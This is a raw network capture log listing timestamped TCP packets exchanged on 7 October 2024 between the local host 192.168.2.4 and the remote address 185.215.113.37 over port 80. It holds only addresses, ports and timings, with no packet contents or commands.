Oct 7, 2024 21:19:20.235569954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.235657930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.235670090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.235692978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.235711098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.235734940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.235749960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.235780001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.235852003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.235886097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.235903025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.235940933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.235940933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.235975027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.235986948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.236010075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.236016989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.236046076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.236063957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.236095905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.278625965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.278673887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.278713942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.278736115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.358737946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.358792067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.358808041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.358829975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.358839035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.358865976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.358875990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.358911991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.358926058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.358958960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.358978987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.358995914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359029055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359045982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359076977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359080076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359095097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359114885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359127045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359149933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359164000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359184980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359196901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359232903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359237909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359272957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359287024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359306097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359323025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359339952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359350920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359392881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359440088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359477997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359492064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359522104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359529018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359564066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359575987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359597921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359610081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359632969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359646082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359678030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359684944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359719992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359730959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359751940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359764099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359787941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359798908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359833002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359839916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359874010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359885931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359908104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359918118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359960079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.359960079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.359993935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.360007048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.360039949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.360047102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.360080004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.360093117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.360119104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.360125065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.360156059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.360168934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.360192060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.360200882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.360227108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.360239029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.360261917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.360277891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.360295057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.360301018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.360341072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.360348940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.360382080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.360413074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.360415936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.360435963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.360450983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.360462904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.360485077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.360496998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.360524893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.360627890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.360660076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.360676050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.360694885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.360707998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.360784054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.361051083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.361103058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.361104012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.361150026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.483180046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.483253002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.483289957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.483290911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.483319044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.483325005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.483340025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.483361959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.483375072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.483412027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.483434916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.483489990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.483490944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.483520985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.483542919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.483553886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.483572006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.483604908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.483608007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.483639956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.483659029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.483675003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.483690023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.483707905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.483725071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.483760118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.483761072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.483798027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.483814001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.483833075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.483849049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.483882904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.483885050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.483931065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.483946085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.483980894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.483999014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.484014988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.484028101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.484044075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.484066963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.484093904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.484096050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.484131098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.484148979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.484164000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.484183073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.484213114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.484217882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.484251976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.484287024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.484317064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.484317064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.484335899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.484376907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.484428883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.484432936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.484463930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.484481096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.484498978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.484513998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.484530926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.484549999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.484565020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.484584093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.484601974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.484622955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.484657049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.484720945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.484755993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.484775066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.484790087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.484801054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.484827042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.484833956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.484878063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.485647917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.485702991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.485707045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.485738039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.485749006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.485789061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.485821009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.485855103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.485878944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.485888958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.485898972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.485924959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.485938072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.485965967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.485976934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.486015081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.486040115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.486057043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.486072063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.486085892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.486088037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.486102104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.486104965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.486121893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.486135006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.486146927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.486323118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.486339092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.486355066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.486373901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.486385107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.486403942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608040094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608113050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608145952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608150005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608185053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608205080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608211994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608242989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608268023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608278036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608288050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608321905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608331919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608366966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608397961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608400106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608411074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608434916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608448029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608470917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608488083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608520031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608521938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608556986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608571053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608589888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608608961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608624935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608642101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608679056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608685970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608722925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608738899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608756065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608781099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608815908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608831882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608850956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608870029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608886957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608901024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608922005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608935118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608957052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.608977079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.608994961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.609011889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.609031916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.609046936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.609093904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.609179020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.609213114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.609227896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.609246969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.609262943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.609282017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.609293938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.609318972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.609335899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.609354019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.609374046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.609411001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.609532118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.609540939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.609575987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.609580994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.609590054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.609610081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.609622002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.609659910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.609734058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.609767914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.609795094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.609817028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.609848022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.609850883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.609863043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.609899044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.609903097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.609937906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.609954119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.609971046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.609992027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.610003948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.610023022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.610058069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.610061884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.610104084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.610110998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.610145092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.610166073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.610178947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.610188961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.610213995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.610229015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.610253096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.610276937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.610287905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.610311031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.610323906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.610332966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:20.610361099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:20.610380888 CEST	49730	80	192.168.2.4	185.215.113.37
